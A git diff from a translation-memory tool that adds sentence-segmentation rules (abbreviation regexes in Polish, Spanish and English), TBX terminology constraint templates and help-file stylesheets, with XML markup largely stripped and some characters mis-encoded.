\bekg\. + \s + + + \bemg\. + \s + + + \betc\. + \s + + + \bew\. + \s + + + \bexc\. + \s + + + \bfant\. + \s + + + \bfarm\. + \s + + + \bflam\. + \s + + + \bfot\. + \s + + + \bfr\. + \s + + + \bfranc\. + \s + + + \bgen\. + \s + + + \bgm\. + \s + + + \bgodz\. + \s + + + \bgr\. + \s + + + \bhab\. + \s + + + \bhol\. + \s + + + \bhr\. + \s + + + \bi in\. + \s + + + \bi wsp\. + \s + + + \bib\. + \s + + + \bibid\. + \s + + + \bin\. + \s + + + \binf\. + \s + + + \binst\. + \s + + + \binv\. + \s + + + \binż\. + \s + + + \biron\. + \s + + + \bitd\. + \s + + + \bitp\. + \s + + + \bjm\. + \s + + + \bjun\. + \s + + + \bjw\. + \s + + + \bjÄ™z\. + \s + + + \bk\.p\.a\. + \s + + + \bkan\. + \s + + + \bkard\. + \s + + + \bkc\. + \s + + + \bkl\. + \s + + + \bkol\. + \s + + + \bkop\. + \s + + + \bkor\. + \s + + + \bkpr\. + \s + + + \bkpt\. + \s + + + \bkr\. + \s + + + \bks\. + \s + + + \bksiąż\. + \s + + + \bl\.c\. + \s + + + \bl\.d\. + \s + + + \bl\.dz\. + \s + + + \blb\. + \s + + + \bldz\. + \s + + + \blek\. + \s + + + \blic\. + \s + + + \blit\. + \s + + + \blm\. + \s + + + \blmn\. + \s + + + \blog\. + \s + + + \blp\. + \s + + + \bLtd\. + \s + + + \bm\.in\. + \s + + + \bmb\. + \s + + + \bmc\. + \s + + + \bmec\. + \s + + + \bmed\. + \s + + + mgr + \s + + + \bmies\. + \s + + + mjr + \s + + + \bmkw\. + \s + + + \bMs\. + \s + + + \bmuz\. + \s + + + \bn\. + \s + + + \bn\.e\. + \s + + + \bN\.N\. + \s + + + \bn\.p\.m\. + \s + + + \bN\.T\. + \s + + + \bnast\. + \s + + + \bnb\. + \s + + + \bnid\. + \s + + + \bniesygn\. + \s + + + \bnlb\. + \s + + + \bnp\. + \s + + + \bnt\. + \s + + + \bnw\. + \s + + + \bo\.o\. + \s + + + \bob\. + \s + + + \boo\. + \s + + + \bop\. + \s + + + \bopr\. + \s + + + \bos\. + \s + + + \bp\. Chr\. + \s + + + \bp\.C\. + \s + + + \bp\.m\. + \s + + + \bp\.n\.e\. + \s + + + \bp\.o\. + \s + + + \bpb\. + \s + + + \bpes\. + \s + + + \b[pP]kt\. + \s + + + \bpl\. + \s + + + \bpn\. + \s + + + \bpoch\. + \s + + + \bpoj\. + \s + + + \bpor\. + \s + + + \bpow\. + \s + + + \bpow\.b\. + \s + + + \bpoz\. + \s + + + \bpp\. + \s + + + \bprob\. + \s + + + \bproc\. + \s + + + \bprof\. + \s + + + \bprz\. Chr\. + \s + + + \bprzec\. + \s + + + \bprzest\. + \s + + + \bprzyp\. + \s + + + \bps\. + \s + + + \bpsych\. + \s + + + \bpsychl\. + \s + + + \bpsycht\. + \s + + + \bpt\. + \s + + + \bpóźn\. + \s + + + \bpÅ‚d\. + \s + + + pÅ‚k + \s + + + \bpÅ‚n\. + \s + + + \bqu\. + \s + + + \br\. + \s + + + \bros\. + \s + + + \brozdz\. + \s + + + \brozp\. + \s + + + \brtg\. + \s + + + \bryc\. + \s + + + \brys\. + \s + + + \brż\. + \s + + + \bs\. + \s + + + \bS\.A\. + \s + + + \bs\.c\. + \s + + + \bsam\. + \s + + + \bsek\. + \s + + + \bsen\. + \s + + + \b[Ss]p\. + \s + + + \bss\. + \s + + + \bstom\. + \s + + + \bstr\. + \s + + + \bsygn\. + \s + + + \bszt\. + \s + + + \btab\. + \s + + + \btel\. + \s + + + \btj\. + \s + + + \btys\. + \s + + + \btzn\. + \s + + + \btzw\. + \s + + + \bub\. m\. + \s + + + \bub\. r\. + \s + + + \bukr\. + \s + + + \b[uU]l\. + \s + + + \bv\.v\. + \s + + + \bvs\. + \s + + + \bw\.d\. + \s + + + \bw\.g\. + \s + + + \bwer\. + \s + + + \bwet\. + \s + + + \bWoj\. + \s + + + \bwsch\. + \s + + + \bwsp\. + \s + + + \bww\. + \s + + + \bwyd\. + \s + + + \bwydz\. + \s + + + \bwyj\. + \s + + + \bwym\. + \s + + + \bwyż\. + \s + + + \bwÅ‚\. + \s + + + \bz o\.o\. + \s + + + \bza gr\. + \s + + + \bzach\. + \s + + + \bzagr\. + \s + + + \bzm\. + \s + + + \bzob\. + \s + + + \bzool\. + \s + + + \bzÅ‚\. + \s + + + \bÅ‚ac\. + \s + + + \bÅ‚ow\. + \s + + + \bÅ›p\. + \s + + + \bÅ›w\. + \s + + + \bźr\. + \s + + + \bżart\. + \s + + + \bżeÅ„\. + \s + + + + + + \bAp\. + \s + + + \b[Aa]prox\. + \s + + + \b[Aa]rt\. + \s + + + \b[Aa]rts\. + \s + + + \bArtº\. + \s + + + \bAvda\. + \s + + + \b[Bb]is\. + \s + + + \b[Bb]ol\. + \s + + + \b[Cc]a\. + \s + + + \b[Cc]f\. + \s + + + \bCorp\. + \s + + + \bD\. + \s + + + \bdef\. + \s + + + \bDra\. + \s + + + \bDto\. + \s + + + \b[Dd]ua\. + \s + + + \bDª\. + \s + + + \bDña\. + \s + + + \bEE\.UU\. + \s + + + \b[Ee]j\. + \s + + + \b[Ee]xcma\. + \s + + + \b[Ee]xcmo\. + \s + + + \bi\.e\. + \s + + + \b[Ii]lma\. + \s + + + \b[Ii]lmo\. + \s + + + \bJJ\.OO\. + \s + + + \b[Kk]m\. + \s + + + \b[Kk]ms\. + \s + + + \bLda\. + \s + + + \bLtd\. + \s + + + \b[Mm]ax\. + \s + + + \b[Mm]ill\. + \s + + + \bMr\. + \s + + + \bMrs\. + \s + + + \bMssrs\. + \s + + + \bN[Oo]\. + \s + + + \bnos\. + \s + + + \b[Nn]um\. + \s + + + \bn°\. + \s + + + \b[Nn]°s\. + \s + + + \bNº\. + \s + + + \bnúm\. + \s + + + \bO\.M\. + \s + + + \b[Oo]z\. + \s + + + \bp\.b\. + \s + + + \bp\.ej\. + \s + + + \bp\.p\. + \s + + + \b[Pp]ag\. + \s + + + \b[Pp]ags\. + \s + + + \b[Pp]rof\. + \s + + + \b[Pp]ta\. + \s + + + \b[Pp]tas\. + \s + + + \b[Pp]ts\. + \s + + + \b[Pp]ág\. + \s + + + \bpágs\. + \s + + + \bR\.D\. + \s + + + \b[Rr]ec\. + \s + + + \b[Rr]ef\. + \s + + + \bReg\. + \s + + + \b[Rr]egl\. + \s + + + \bREP\. + \s + + + \bR[Ee][Vv]\. + \s + + + \bS\.A\. + \s + + + \bS\.A\.U\. + \s + + + \bS\.L\. + \s + + + \bS\.R\.L\. + \s + + + \bS[Rr]\. + \s + + + \bS[Rr][Aa]\. + \s + + + \b[Ss]ras\. + \s + + + \b[Ss]res\. + \s + + + \b[Ss]rs\. + \s + + + \b[Ss]s\. + \s + + + \bSta\. + \s + + + \btel\. + \s + + + \b[Tt]er\. + \s + + + \bUd\. + \s + + + \bUds\. + \s + + + \bvs\. + \s + + + + + ^\s*[0-9]+\. + \s + + + [Ee][Tt][Cc]\. + + + + [\.\?!]+\s+ + + + + [。。.?ï¼]+ + + + + + \n + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/srx/trados_rules.srx b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/srx/trados_rules.srx new file mode 100644 index 0000000..8288c1b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/srx/trados_rules.srx @@ -0,0 +1,77 @@ + + + +
    + + + +
    + + + + + + + + [\.\?!]+ + \s + + + ^\s*[0-9]+\. + \s + + + [Ee][Tt][Cc]\. + \s[a-z] + + + + \n + + + \sU.K. + \s + + + \sMr. + \s + + + + + + + + ^\s*[0-9]+\. + \s + + + [Ee][Tt][Cc]\. + + + + [\.\?!]+ + \s + + + [。。.?ï¼]+ + + + + + \n + + + + + + + + + + + + + + +
    diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXDCSv05b.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXDCSv05b.xml new file mode 100644 index 0000000..eddf8b0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXDCSv05b.xml @@ -0,0 +1,503 @@ + + +
    + TBX master XCS (extensible constraint specification) file +
    + + + en + English + + + hu + Hungarian + + + pt + Portuguese + + + fr + French + + + de + German + + + it + Italian + + + sv-se + Swedish + + + nl + Dutch + + + da + Danish + + + el + Greek + + + ja + Japanese + + + cs + Czech + + + pl + Polish + + + es + Spanish + + + + + + + + standardizedTerm-admn-sts preferredTerm-admn-sts admittedTerm-admn-sts deprecatedTerm-admn-sts supersededTerm-admn-sts legalTerm-admn-sts regulatedTerm-admn-sts + + + animate inanimate otherAnimacy + + + + termEntry + + + + term + + + + + + + langSet termEntry + + + + langSet termEntry term + + + + langSet termEntry + + + + langSet termEntry + + + + + + + term + + + + langSet termEntry term + + + + + + + langSet termEntry + + + + term + + + definingContext explanatoryContext associativeContext linguisticContext metalinguisticContext translatedContext + + + + langSet termEntry + + + + langSet termEntry + + + + + + + + + + + + + + + + langSet termEntry term + + + intensionalDefinition extensionalDefinition partitiveDefinition translatedDefinition + + + + + + + + + starterElement workingElement consolidatedElement archiveElement importedElement exportedElement + + + + + + + + + + + + + + + + langSet termEntry term + + + + langSet termEntry term + + + + + + + + + + langSet termEntry term + + + commonlyUsed infrequentlyUsed rarelyUsed + + + + + + masculine feminine neuter otherGender + + + singular plural dual massNoun otherNumber + + + + + + + + + + + + + + + + + + + + + recommendedTerm nonstandardizedTerm proposedTerm newTerm + + + + + + + + + standardizedTerm preferredTerm admittedTerm deprecatedTerm supersededTerm legalTerm regulatedTerm + + + + + + + + + + + + + langSet termEntry term + + + + + + unprocessed provisionallyProcessed finalized + + + + + + + + + + + + trademark serviceMark tradeName + + + + term + + + + term + + + neutralRegister technicalRegister in-houseRegister bench-levelRegister slangRegister vulgarRegister + + + + langSet termEntry + + + + langSet termEntry + + + + langSet termEntry + + + 1 2 3 4 5 6 7 8 9 10 + langSet termEntry term + + + + + + + term + + + + + + public confidential + + + + + + + langSet termEntry + + + + + + + + + + + + + + + + + + parallelText backgroundText + + + + langSet termEntry + + + + langSet termEntry term + + + + langSet termEntry + + + + langSet termEntry + + + + + + + langSet termEntry + + + + langSet termEntry + + + + + + + langSet termEntry term + + + + + + archaicTerm outdatedTerm obsoleteTerm + + + + langSet termEntry + + + + + + transdisciplinaryBorrowing translingualBorrowing loanTranslation neologism + + + + + + entryTerm synonym internationalScientificTerm fullForm transcribedForm symbol formula equation logicalExpression commonName abbreviatedFormOfTerm variant shortFormOfTerm transliteratedForm sku partNumber phraseologicalUnit synonymousPhrase standardText string internationalism + + + origination input modification check approval withdrawal standardization exportation importation proposal userAccess + + + + termEntry + + + + + + + + + + term + + + + + + + + + + langSet termEntry term + + + + + bibl + + author + category + biblType + city + CODEN + corpauth + cpyrtnme + country + publicationDate + edition + editor + extent + glossary + ISBN + ISSN + issueno + lccardno + pages + publisher + reportid + role + sertitle + title + volid + + + + respPerson + + fname + surname + email + role + name + + + + respOrg + + organizationName + email + role + name + + + + binaryData + + format + fileName + fileDateTime + fileAttributes + fileOSName + fileOSNumber + codePage + fileSize + data + description + + + + classSystemDescrip + + systemName + systemType + description + + + + conceptSysDescrip + + systemName + systemType + description + + + + thesaurusDescrip + + thesaurusName + description + location + + + +
    diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXDCSv05b_simple.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXDCSv05b_simple.xml new file mode 100644 index 0000000..04ac168 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXDCSv05b_simple.xml @@ -0,0 +1,137 @@ + + +
    + TBX master XCS (extensible constraint specification) file +
    + + + cs + Czech + + + da + Danish + + + de + German + + + el + Greek + + + en + English + + + en-us + English (United States) + + + es + Spanish + + + fi + Finnish + + + fr + French + + + hu + Hungarian + + + it + Italian + + + nl + Dutch + + + no + Norwegian + + + pl + Polish + + + pt + Portuguese + + + sv + Swedish + + + + + + + + standardizedTerm-admn-sts preferredTerm-admn-sts admittedTerm-admn-sts deprecatedTerm-admn-sts supersededTerm-admn-sts legalTerm-admn-sts regulatedTerm-admn-sts + + + + + + + term + + + + + + + langSet termEntry term + + + masculine feminine neuter otherGender + + + + + + + + + + + + + langSet termEntry + + + + langSet termEntry + + + + langSet termEntry + + + + + + + + + + langSet termEntry term + + + entryTerm synonym internationalScientificTerm fullForm transcribedForm symbol formula equation logicalExpression commonName abbreviatedFormOfTerm variant shortFormOfTerm transliteratedForm sku partNumber phraseologicalUnit synonymousPhrase standardText string internationalism + + + origination input modification check approval withdrawal standardization exportation importation proposal userAccess + + + + + +
    diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXDCSv05c.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXDCSv05c.xml new file mode 100644 index 0000000..041d580 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXDCSv05c.xml @@ -0,0 +1,463 @@ + + +
    + TBX master XCS (extensible constraint specification) file +
    + + + en + English + + + hu + Hungarian + + + pt + Portuguese + + + fr + French + + + + + + + + standardizedTerm-admn-sts preferredTerm-admn-sts admittedTerm-admn-sts deprecatedTerm-admn-sts supersededTerm-admn-sts legalTerm-admn-sts regulatedTerm-admn-sts + + + animate inanimate otherAnimacy + + + + termEntry + + + + term + + + + + + + langSet termEntry + + + + langSet termEntry term + + + + langSet termEntry + + + + langSet termEntry + + + + + + + term + + + + langSet termEntry term + + + + + + + langSet termEntry + + + + term + + + definingContext explanatoryContext associativeContext linguisticContext metalinguisticContext translatedContext + + + + langSet termEntry + + + + langSet termEntry + + + + + + + + + + + + + + + + langSet termEntry term + + + intensionalDefinition extensionalDefinition partitiveDefinition translatedDefinition + + + + + + + + + starterElement workingElement consolidatedElement archiveElement importedElement exportedElement + + + + + + + + + + + + + + + + langSet termEntry term + + + + langSet termEntry term + + + + + + + + + + langSet termEntry term + + + commonlyUsed infrequentlyUsed rarelyUsed + + + + + + masculine feminine neuter otherGender + + + singular plural dual massNoun otherNumber + + + + + + + + + + + + + + + + + + + + + recommendedTerm nonstandardizedTerm proposedTerm newTerm + + + + + + + + + standardizedTerm preferredTerm admittedTerm deprecatedTerm supersededTerm legalTerm regulatedTerm + + + + + + + + + + + + + langSet termEntry term + + + + + + unprocessed provisionallyProcessed finalized + + + + + + + + + + + + trademark serviceMark tradeName + + + + term + + + + term + + + neutralRegister technicalRegister in-houseRegister bench-levelRegister slangRegister vulgarRegister + + + + langSet termEntry + + + + langSet termEntry + + + + langSet termEntry + + + 1 2 3 4 5 6 7 8 9 10 + langSet termEntry term + + + + + + + term + + + + + + public confidential + + + + + + + langSet termEntry + + + + + + + + + + + + + + + + + + parallelText backgroundText + + + + langSet termEntry + + + + langSet termEntry term + + + + langSet termEntry + + + + langSet termEntry + + + + + + + langSet termEntry + + + + langSet termEntry + + + + + + + langSet termEntry term + + + + + + archaicTerm outdatedTerm obsoleteTerm + + + + langSet termEntry + + + + + + transdisciplinaryBorrowing translingualBorrowing loanTranslation neologism + + + + + + entryTerm synonym internationalScientificTerm fullForm transcribedForm symbol formula equation logicalExpression commonName abbreviatedFormOfTerm variant shortFormOfTerm transliteratedForm sku partNumber phraseologicalUnit synonymousPhrase standardText string internationalism + + + origination input modification check approval withdrawal standardization exportation importation proposal userAccess + + + + termEntry + + + + + + + + + + term + + + + + + + + + + langSet termEntry term + + + + + bibl + + author + category + biblType + city + CODEN + corpauth + cpyrtnme + country + publicationDate + edition + editor + extent + glossary + ISBN + ISSN + issueno + lccardno + pages + publisher + reportid + role + sertitle + title + volid + + + + respPerson + + fname + surname + email + role + name + + + + respOrg + + organizationName + email + role + name + + + + binaryData + + format + fileName + fileDateTime + fileAttributes + fileOSName + fileOSNumber + codePage + fileSize + data + description + + + + classSystemDescrip + + systemName + systemType + description + + + + conceptSysDescrip + + systemName + systemType + description + + + + thesaurusDescrip + + thesaurusName + description + location + + + +
    diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXXCSV02.xcs b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXXCSV02.xcs new file mode 100644 index 0000000..4e22f42 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/TBXXCSV02.xcs @@ -0,0 +1,501 @@ + + + +
    + TBX default XCS (extensible constraint specification) file Version 02. (Filename: + TBXXCSV02.xcs) + +
    + + + + en + English + + + de + German + + + es + Spanish + + + hu + Hungarian + + + fr + French + + + it + Italian + + + da + Danish + + + nl + Dutch + + + fi + Finnish + + + pl + Polish + + + no + Norwegian + + + pt + Portuguese + + + sv + Slovenian + + + el + Greek + + + cs + Czech + + + + + + + + + standardizedTerm-admn-sts preferredTerm-admn-sts + admittedTerm-admn-sts deprecatedTerm-admn-sts supersededTerm-admn-sts legalTermadmn- + sts regulatedTerm-admn-sts + + + animate inanimate + otherAnimacy + + + + + + + termEntry + + + + + + + + + + langSet termEntry + + + + langSet termEntry term + + + + + + + langSet termEntry + + + + langSet termEntry + + + + + + + term + + + + langSet termEntry term + + + + + + + langSet termEntry + + + + term + + + definingContext explanatoryContext associativeContext + linguisticContext metalinguisticContext translatedContext + + + + langSet termEntry + + + + langSet termEntry + + + + + + + + + + + + + + + + langSet termEntry term + + + intensionalDefinition extensionalDefinition + partitiveDefinition translatedDefinition + + + + + + monodirectional bidirectional + incommensurate undetermined + + + + + + starterElement workingElement consolidatedElement + archiveElement importedElement exportedElement + + + + + + + + + + + + + + + + langSet termEntry term + + + + langSet termEntry term + + + + + + + + + + langSet termEntry term + + + commonlyUsed infrequentlyUsed rarelyUsed + + + + + + masculine feminine neuter + otherGender + + + singular plural dual mass + otherNumber + + + + + + + + + + + + + + + + + + + + + + + + recommendedTerm nonstandardizedTerm proposedTerm + newTerm + + + + + + + + + + + + + + + standardizedTerm preferredTerm admittedTerm deprecatedTerm + supersededTerm legalTerm regulatedTerm + + + + + + + + + + + + + + + + langSet termEntry term + + + + + + unprocessed provisionallyProcessed finalized + + + + + + + + + + + + trademark serviceMark tradeName + + + + term + + + + term + + + colloquialRegister neutralRegister technicalRegister + in-houseRegister bench-levelRegister slangRegister vulgarRegister + + + + langSet termEntry + + + + langSet termEntry + + + + langSet termEntry + + + 1 2 3 4 5 6 7 8 9 10 + langSet termEntry term + + + + + + + term + + + + + + public confidential + + + + + + + langSet termEntry + + + + + + + + + + + + + + + parallelText backgroundText + + + + langSet termEntry + + + + termEntry + + + + langSet termEntry + + + + langSet termEntry + + + + + + + + + + langSet termEntry + + + + langSet termEntry + + + + + + + + + + langSet termEntry term + + + archaicTerm outdatedTerm obsoleteTerm + + + + langSet termEntry + + + + + + + + + transdisciplinaryBorrowing translingualBorrowing + loanTranslation neologism + + + + + + abbreviation acronym clippedTerm commonName entryTerm + equation formula fullForm initialism internationalScientificTerm internationalism + logicalExpression phraseologicalUnit partNumber shortForm shortcut sku symbol + synonym synonymousPhrase standardText string transliteratedForm transcribedForm + variant + + + + termEntry + + + + + + origination input modification check approval withdrawal + standardization exportation importation proposal userAccess + + + + + + + term + + + + + + + + + + langSet termEntry term + + + + + + + + + + + + + + + + + + + + binaryData + + format + fileName + fileDateTime + fileAttributes + fileOSName + fileOSNumber + codePage + fileSize + data + description + + + +
    diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/simple.xcs b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/simple.xcs new file mode 100644 index 0000000..57c0f2d --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/simple.xcs @@ -0,0 +1,101 @@ + +
    TBX master XCS (extensible constraint specification) file +
    + en + English + + de + German + + + + entryTerm synonym internationalScientificTerm fullForm transcribedForm symbol formula equation logicalExpression commonName abbreviatedFormOfTerm variant shortFormOfTerm transliteratedForm sku partNumber phraseologicalUnit synonymousPhrase standardText string internationalism + + standardizedTerm-admn-sts preferredTerm-admn-sts admittedTerm-admn-sts deprecatedTerm-admn-sts supersededTerm-admn-sts legalTerm-admn-sts regulatedTerm-admn-sts + + + definingContext explanatoryContext associativeContext linguisticContext metalinguisticContext translatedContext + + + + langSet termEntry + + langSet termEntry + + + + bibl + author + category + biblType + city + CODEN + corpauth + cpyrtnme + country + publicationDate + edition + editor + extent + glossary + ISBN + ISSN + issueno + lccardno + pages + publisher + reportid + role + sertitle + title + volid + + + respPerson + fname + surname + email + role + name + + + respOrg + organizationName + email + role + name + + + binaryData + format + fileName + fileDateTime + fileAttributes + fileOSName + fileOSNumber + codePage + fileSize + data + description + + + classSystemDescrip + systemName + systemType + description + + + conceptSysDescrip + systemName + systemType + description + + + thesaurusDescrip + thesaurusName + description + location + + + +
    diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/tbxdefault.xcs b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/tbxdefault.xcs new file mode 100644 index 0000000..87d3a47 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/tbxdefault.xcs @@ -0,0 +1,455 @@ + + +
    + TBX master XCS (extensible constraint specification) file +
    + + + en + English + + + de + German + + + + + + termEntry + + + + term + + + + term + + + + term + + + + term + + + + term + + + + term + + + + termEntry + + + + term + + + + + + standardizedTerm-admn-sts preferredTerm-admn-sts admittedTerm-admn-sts deprecatedTerm-admn-sts supersededTerm-admn-sts legalTerm-admn-sts regulatedTerm-admn-sts + + + animate inanimate otherAnimacy + + + + + + + langSet termEntry + + + + langSet termEntry term + + + + langSet termEntry + + + + langSet termEntry + + + + + + + langSet termEntry term + + + + + + + langSet termEntry + + + definingContext explanatoryContext associativeContext linguisticContext metalinguisticContext translatedContext + + + + langSet termEntry + + + + langSet termEntry + + + + + + + + + + + + + + + + langSet termEntry term + + + intensionalDefinition extensionalDefinition partitiveDefinition translatedDefinition + + + + + + + + + starterElement workingElement consolidatedElement archiveElement importedElement exportedElement + + + + + + + + + + + + + + + + langSet termEntry term + + + + langSet termEntry term + + + + + + + + + + langSet termEntry term + + + commonlyUsed infrequentlyUsed rarelyUsed + + + + + + masculine feminine neuter otherGender + + + singular plural dual massNoun otherNumber + + + + + + + + + + + + + + + + + + + + + recommendedTerm nonstandardizedTerm proposedTerm newTerm + + + + + + + + + standardizedTerm preferredTerm admittedTerm deprecatedTerm supersededTerm legalTerm regulatedTerm + + + + + + + + + + + + + langSet termEntry term + + + + + + unprocessed provisionallyProcessed finalized + + + + + + + + + + + + trademark serviceMark tradeName + + + neutralRegister technicalRegister in-houseRegister bench-levelRegister slangRegister vulgarRegister + + + + langSet termEntry + + + + langSet termEntry + + + + langSet termEntry + + + 1 2 3 4 5 6 7 8 9 10 + langSet termEntry term + + + + + + + + + public confidential + + + + + + + langSet termEntry + + + + + + + + + + + + + + + + + + parallelText backgroundText + + + + langSet termEntry + + + + langSet termEntry term + + + + langSet termEntry + + + + langSet termEntry + + + + + + + langSet termEntry + + + + langSet termEntry + + + + + + + langSet termEntry term + + + + + + archaicTerm outdatedTerm obsoleteTerm + + + + langSet termEntry + + + + + + transdisciplinaryBorrowing translingualBorrowing loanTranslation neologism + + + + + + entryTerm synonym internationalScientificTerm fullForm transcribedForm symbol formula equation logicalExpression commonName abbreviatedFormOfTerm variant shortFormOfTerm transliteratedForm sku partNumber phraseologicalUnit synonymousPhrase standardText string internationalism + + + origination input modification check approval withdrawal standardization exportation importation proposal userAccess + + + + + + + + + + + + + + + + langSet termEntry term + + + + + bibl + + author + category + biblType + city + CODEN + corpauth + cpyrtnme + country + publicationDate + edition + editor + extent + glossary + ISBN + ISSN + issueno + lccardno + pages + publisher + reportid + role + sertitle + title + volid + + + + respPerson + + fname + surname + email + role + name + + + + respOrg + + organizationName + email + role + name + + + + binaryData + + format + fileName + fileDateTime + fileAttributes + fileOSName + fileOSNumber + codePage + fileSize + data + description + + + + classSystemDescrip + + systemName + systemType + description + + + + conceptSysDescrip + + systemName + systemType + description + + + + thesaurusDescrip + + thesaurusName + description + location + + + +
    diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/termstar.xcs b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/termstar.xcs new file mode 100644 index 0000000..c140037 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/templates/termstar.xcs @@ -0,0 +1,41 @@ + +
    + + termEntry + termEntry + termEntry + termEntry + termEntry + termEntry + termEntry + termEntry + termEntry + termEntry + termEntry + termEntry + langSet + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/HtmlHelp.css b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/HtmlHelp.css new file mode 100644 index 0000000..4e876bd --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/HtmlHelp.css @@ -0,0 +1,99 @@ +/*=(===============================================================)*/ + +/*=(===============================================================)*/ +/*=(Created with RoboEditor.)=======================================*/ +/*=(===============================================================)*/ + +BODY { + background-color: #ffffff; +} + +P /*begin!kadov{{*/ ,LI.kadov-P /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-size: 12.0pt; + color: #000000; +} + +H1 /*begin!kadov{{*/ ,LI.kadov-H1 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: bold; + font-size: 16.0pt; +} + +H2 /*begin!kadov{{*/ ,LI.kadov-H2 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: bold; + font-size: 14.0pt; +} + +H3 /*begin!kadov{{*/ ,LI.kadov-H3 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: bold; + font-size: 12.0pt; +} + +H4 /*begin!kadov{{*/ ,LI.kadov-H4 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: bold; + font-size: 12.0pt; +} + +H5 /*begin!kadov{{*/ ,LI.kadov-H5 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: bold; + font-size: 12.0pt; +} + +H6 /*begin!kadov{{*/ ,LI.kadov-H6 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: bold; + font-size: 12.0pt; +} + +A:link { + x-text-underline: normal;/*begin!kadov{{*/ text-decoration: underline; /*}}end!kadov*/ + color: #0000ff; +} + +A:visited { + x-text-underline: normal;/*begin!kadov{{*/ text-decoration: underline; /*}}end!kadov*/ + color: #0000ff; +} + +A.expandspot { + color: #008000; + cursor: hand; + font-style: italic; + text-decoration: none; +} + +SPAN.expandtext { + font-style: italic; + font-weight: normal; + color: #ff0000; +} + +A.dropspot { + cursor: hand; + color: #008000; + font-style: italic; + text-decoration: none; +} + +A.glossterm { + color: #800000; + cursor: hand; + font-style: italic; + text-decoration: none; +} + +SPAN.glosstext { + font-style: italic; + font-weight: normal; + color: #0000ff; +} + +OL, UL { + margin-top: 0px; + margin-bottom: 0px; +} diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/MS_Help.css b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/MS_Help.css new file mode 100644 index 0000000..acd29e5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.ts.ui.plugin/help/csv2tbxdoc/en/MS_Help.css @@ -0,0 +1,105 @@ +/*=(===============================================================)*/ + +/*=(===============================================================)*/ +/*=(Created with RoboEditor.)=======================================*/ +/*=(===============================================================)*/ + +BODY { + background-color: #ffffff; +} + +P /*begin!kadov{{*/ ,LI.kadov-P /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-size: 10.0pt; + color: #000000; +} + +H1 /*begin!kadov{{*/ ,LI.kadov-H1 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: bold; + font-size: 12.0pt; + color: #000000; +} + +H2 /*begin!kadov{{*/ ,LI.kadov-H2 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: bold; + font-size: 10.0pt; + color: #000000; +} + +H3 /*begin!kadov{{*/ ,LI.kadov-H3 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: normal; + font-size: 10.0pt; + color: #000000; +} + +H4 /*begin!kadov{{*/ ,LI.kadov-H4 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: normal; + font-size: 10.0pt; + color: #000000; +} + +H5 /*begin!kadov{{*/ ,LI.kadov-H5 /*}}end!kadov*/ { + font-family: 'ËÎÌå'; + font-weight: normal; + font-size: 10.0pt; + color: 